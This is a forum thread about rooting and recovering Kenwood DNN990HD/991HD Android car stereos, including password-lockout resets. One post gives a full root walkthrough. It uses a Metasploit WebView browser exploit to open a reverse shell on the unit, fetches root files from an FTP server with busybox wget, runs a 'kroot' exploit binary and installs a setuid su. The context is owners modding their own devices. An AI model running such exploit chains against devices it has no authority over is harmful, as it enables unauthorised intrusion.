Kenwood DNN990HD - Android 4.0.4 car stereo - How to get started with rooting?

Search This thread
By:
Advanced…
X

XKenwood

Member
May 17, 2022
5
0
Radius118 said:
No worries. Hope you have success.

The quirks of these units will be an issue of the past once they are all in the scrap bin! LOL
Click to expand...
Click to collapse
LoL. I came very close to doing just that today. If I didn't have a softspot for the brand I would have. I'm spoiled on how good this unit sounds. I still have all of my vintage Kenwood from the 90's and wth this HU and it's dedicated processors, once adjusted the sound is just plain awsome.

Anyways, I have two DNN991HDs and I got one of them to work! The second daughterboard did react to the reset somewhat.

The only way I could get these files to boot was to have the longface13 changed to longface14 plus the deletedata and zip folder in a clean USB. It would immediately reboot and no need to wait an hour and no Android image popped up either. took less than three minutes ... I think. The head unit that did not reset properly after a reboot I could only go as far as the PW screen, but not into the main menu. BUT....if I leave the USB inserted and reboot, it will clear the PW screen and go right into the menu like it didn't have a PW but then it reboots again and again and again... until I remove the USB before it reads it again and only then can I use the HU. Once I power off the unit, it will go back to requesting the PW. Frustrating!

It was cool to see them light up again. Is there a remedy for the second unit that failed to clear the PW delete process?

MANY thanks Rad!!
 
Last edited:
X

XKenwood

Member
May 17, 2022
5
0
XKenwood said:
LoL. I came very close to doing just that today. If I didn't have a softspot for the brand I would have. I'm spoiled on how good this unit sounds. I still have all of my vintage Kenwood from the 90's and wth this HU and it's dedicated processors, once adjusted the sound is just plain awsome.

Anyways, I have two DNN991HDs and I got one of them to work! The second daughterboard did react to the reset somewhat.

The only way I could get these files to boot was to have the longface13 changed to longface14 plus the deletedata and zip folder in a clean USB. It would immediately reboot and no need to wait an hour and no Android image popped up either. Took less than three minutes ... I think. With the head unit that did not reset properly after a reboot, I could only go as far as the PW screen, and not into the main menu. BUT....if I leave the USB inserted and reboot, it will clear the PW screen and go right into the menu like it didn't have a PW... then it reboots again and again and again... until I remove the USB before it reads it and only then can I use the HU. Once I power off the unit, it will go back to requesting the PW. Frustrating!

It was cool to see them light up again. Is there a remedy for the second unit that failed to clear the PW delete process?

MANY thanks Rad!!
Click to expand...
Click to collapse
Also, the HU that did work got into the "System Rebuilding Do Not Turn Off" screen twice before it requested to remove the USB and reboot on its own. The second unit said squat and simply rebooted with the USB inserted up until I removed it and then it worked fine until I turned it off. I could not reset the original PW from the HU menu because it still requests the PW to proceed.
 
R

Radius118

Member
Dec 21, 2011
20
1
XKenwood said:
Also, the HU that did work got into the "System Rebuilding Do Not Turn Off" screen twice before it requested to remove the USB and reboot on its own. The second unit said squat and simply rebooted with the USB inserted up until I removed it and then it worked fine until I turned it off. I could not reset the original PW from the HU menu because it still requests the PW to proceed.
Click to expand...
Click to collapse

Cool! Glad you got one of them working again.

I am pretty sure my instructions said that renaming the .longface file would be necessary.

Perhaps recheck the instructions I wrote and make sure you follow them precisely. Other than that I don't know. I have not had any 991s to mess around with.
 
X

XKenwood

Member
May 17, 2022
5
0
Radius118 said:
Cool! Glad you got one of them working again.

I am pretty sure my instructions said that renaming the .longface file would be necessary.

Perhaps recheck the instructions I wrote and make sure you follow them precisely. Other than that I don't know. I have not had any 991s to mess around with.
Click to expand...
Click to collapse
Yes, your notes stated to change from 13, 14 and that's what got me going. There were changes done to the daughter board (syscom board) from your 990HD to the latest 991HD/992 DNN units. I did the firmware update from 1.0.0 to 1.8 on one of the 991, the second unit would only accept the 1.3 firmware update that belongs to the later 992 model. It seems there were late changes on the running software and syscomboard done from 2013/2014 going into 2015.

Sad Kenwood screwed up using slow, outdated software (outdated even at that time) on these otherwise awesome HU's
 
Last edited:
You must log in or register to reply here.

Similar threads

P
  • Sticky
Old Q&A-Thread - This Thread will be split into multiple KB-Thread soon
Replies
22K
Views
4M
G
Gazz.E90
R
How to change UI of my Androïd head unit ?
Replies
25
Views
62K
T
tim228
G
EasyConnected for Android Nougat?
Replies
19
Views
54K
S
siemar51
rooot_999
Help rooting Eonon GA2114 Android 4.4.4
Replies
30
Views
20K
T
typos1
G
How do CAN Bus messages make it into the unit?
Replies
22
Views
32K
Armydad10
Armydad10

Top Liked Posts

24 Hours All time
  • There are no posts matching your filters.
  • 8
    C
    chris.davis925
    First, I want to sincerely thank everyone who pledged money and donated!! Donations have been a big help in recouping my losses in purchasing new units after bricking them as well as motivation for finding exploit methods.

    I initially looked at Metasploit and abandoned it after loosing shell sessions after exploiting to a root shell. Another method has now made this possible.
    The great news about Metasploit is that it doesn't require any of my proprietary software to execute and the fruits of my labor from that exploit have all been rolled over to this method.
    Thank you Metasploit developers!!

    Lastly, just to clear up some confusion from the previous posts - I never intentionally left the forums. I have been working behind the scenes with our awesome mods to work out some problems and all is well.

    This actual root process and implementation has been tested by a few users here already, just the implementation of the exploit is different. This shouldn't matter and I expect the same positive results. However, I want to give the usual disclaimer that this might brick your unit. If it does, I cannot be held responsible. Do it at your own risk!




    Here is how to obtain root on the DNN990HD using Metasploit reverse TCP Webview exploit.
    NOTE: It would be nice if someone could provide a dedicated FTP server with a dedicated IP to host the exploit

    This assumes that you have installed Metasploit for Windows or Linux and have the Metasploit Console open.
    Enter the following after getting a sessions with Metasploit.

    ##Anything with a "#" Is just a notation. Anything without it needs to be entered into the console.

    #First load up the Metasploit Exploit
    use exploit/android/browser/webview_addjavascriptinterface

    #Set website path name
    set URIPATH kroot

    #Start the Exploit!
    exploit

    #On your deck visit the website in this format <IP Address> : <port number> / <URIPATH>.
    #Below is only an EXAMPLE
    192.168.1.10:8080/kroot

    # Wait for the Metasploit console to return a session number.
    # This might take a few tries, so if it seems like your browser just hangs, turn off your deck and visit the website again.

    #Once session is spawned do the command session -i <session number> #
    sessions -i 1

    #setup environment variable for Android/linux
    export PATH=/system/bin:/system/xbin:/ramdisk:$PATH

    #change dir to /sdcard
    cd /sdcard

    #############################################################################
    # From this point forward you will see several commands separated by the pipe symbol: |
    # This make life easy. It also helps keep the time window down before Kenwood system lock kicks in
    #Feel free to copy those chunks and paste them into Metasploit.
    ###############################################################################

    #get exploit to the deck
    #Note, the FTP or HTTP MUST be an ip address and not a host name.
    #Alternatively you can download the files directly to the unit and copy them over to sdcard manually.
    #Sample command for the browser download method would be as follows:
    #busybox cp /sdcard/download/kroot.tar /sdcard/kroot.tar
    busybox wget ftp://<ftp_IP_Address>/kroot_temp.tar | busybox wget ftp://<IP Address>/cds_kroot.tar

    #Extract Root
    busybox tar -x -f kroot_temp.tar -C /ramdisk

    #chmod the root for exec
    chmod 775 /ramdisk/device.db | chmod 775 /ramdisk/kroot

    #Change dir to ramdisk
    cd /ramdisk

    #Execute out exploit in ramdisk
    kroot

    #Check to see if we are root
    busybox whoami

    #####################################################
    ## The result should return 0 - root. If not, something went wrong
    #####################################################

    #change dir back to sdcard
    cd /sdcard

    #mount root fs and /system
    mount -o rw,remount /system | mount -o rw,remount /

    # extract our perm root to where it needs to go
    busybox tar -x -f cds_kwroot.tar -C /

    #chmod /system/app and /data/app
    chmod 644 /system/app/eu.chainfire.supersu-1.apk | chmod 644 /data/app/com.speedsoftware.sqleditor-1.apk


    #chmod binaries
    chmod 6755 /system/xbin/su | chmod 6755 /system/xbin/sqlite3 | chmod 6755 /system/xbin/setpropex | chmod 6755 /system.bin/cds_kroot
    chmod 6755 /system/bin/setpropex

    #Enable non market apps for the DNN
    sqlite3 /data/data/com.android.providers.settings/databases/settings.db "UPDATE secure SET value=1 WHERE name='install_non_market_apps';"

    #clear dalvik cache, and remove our source files. /Ramdisk will be taken care of by recovery.
    rm /data/dalvik-cache/* | rm /sdcard/cds_kroot.tar | rm /sdcard/kroot_temp.tar

    #reboot the unit
    #unit will hard reboot five times then launch into recovery and rebuild dalvik.
    reboot

    ############################################################
    ## THE UNIT WILL DISPLAY AN ERROR during the five reboots.
    ## Do **NOT** do anything and just let it reboot five times. (six if you count the first reboot)
    ## Once the last reboot is done, "System Rebuilding" will kick in.
    #############################################################

    #You now have root and non market apps


    Please provide feedback and let me know how this works.

    I will release these custom apps I developed very soon:
    KWAudio.apk - This switches the Kenwood amp input to "Android" mode so that custom installed apps will route the audio correctly. (Instead of having to launch USB mode or other work around)
    CDS_Kroot.apk - Will re-enable non market apps again after the Kenwood lock reverts it back. This app also has other misc things like forcing system rebuild, clearing dalvik cache and launching "Developer" hidden Android menu.

    I will also soon release my Play Store process. And no, it's not as simple as installing the PlayStore APK.




    If this works for you, consider donating to ChainFire for his awesome SuperSU app and or myself for researching and coming up with the implementation.

    Edited 6/19/2014 11:04 PM to fix typos and make it easier to read.
    View
    2
    R
    radux.m.dan
    CWM Touch

    chris.davis925 said:
    Anyone know if TWRP recovery is smaller / same size-ish as CWM?

    If so, this might be something to look at? Might also be more user friendly.
    Click to expand...
    Click to collapse

    Hello all!

    TWRP is much bigger in size.
    HID is already built in kernel, no need to add it.

    I have a very good news, we now have a CWM touch that is functional. I managed to find the keypads, but they don't work for the moment, so we have to use touch for the moment.
    There is just a small configuration for the partition file that I have to correct and we'll have a full functional custom recovery. :)

    I attach you the current image, please don't try to use it, you can install it just to check the touch and scroll through the menu.

    It would be great if any of you can give me the dmesg log as I previously asked.

    The last issue that needs to be solved is to find a way to boot in recovery mode, beside the adb command.

    Cheers!
    View
    2
    C
    chris.davis925
    radux.m.dan said:
    Hi Chris!

    I confirm I now have a rooted unit, I used your files and everything went fine. To remind, my unit is EU version DNN9230DAB and my FW version was 1.4.0.

    I'll try to find a server with static IP to make this available on the internet.

    Cheers!!
    Click to expand...
    Click to collapse

    Great to hear!
    View
    1
    donaldta
    donaldta
    oxman504 said:
    If the DNN990HD is such a crappy unit then why are you on a thread about making it better? Obviously you think it has some potential. I'd like to get back on the topic of making the DNN990HD better.
    Click to expand...
    Click to collapse

    It is because I feel sorry for those of you whom wasted so much money on it. Besides, it also doesn't appear that anyone that has one posses the technical ability to get root access. Most likely because anyone with the technical abilities would avoid it. So, that's why I am helping. I give my assistance to owners of all Android Head Units included the Sensus Connected Touch which is a $1,700 head unit from Volvo.
    View
    1
    R
    Radius118
    XKenwood said:
    Sorry to revive an old thread, but.................

    Another DNN that bit the dust with the lost password issue.

    Radius, can you...kindly... help a fellow DNN991 owner bring his radio back to life?

    I'm shocked at the wealth of info provided in this old thread. This forum has the best info I've seen on the Kenwood DNN series.

    The Kenwood service center guy referenced is from Africa and has gotten quite a few radios back from the dead by erasing and rewriting firmware using internet connectivity.
    Click to expand...
    Click to collapse

    I have never tried my technique on a 991 but in theory it should work.

    See the attached files and the instruction sheet I wrote. Hopefully this works for you.
    View

New posts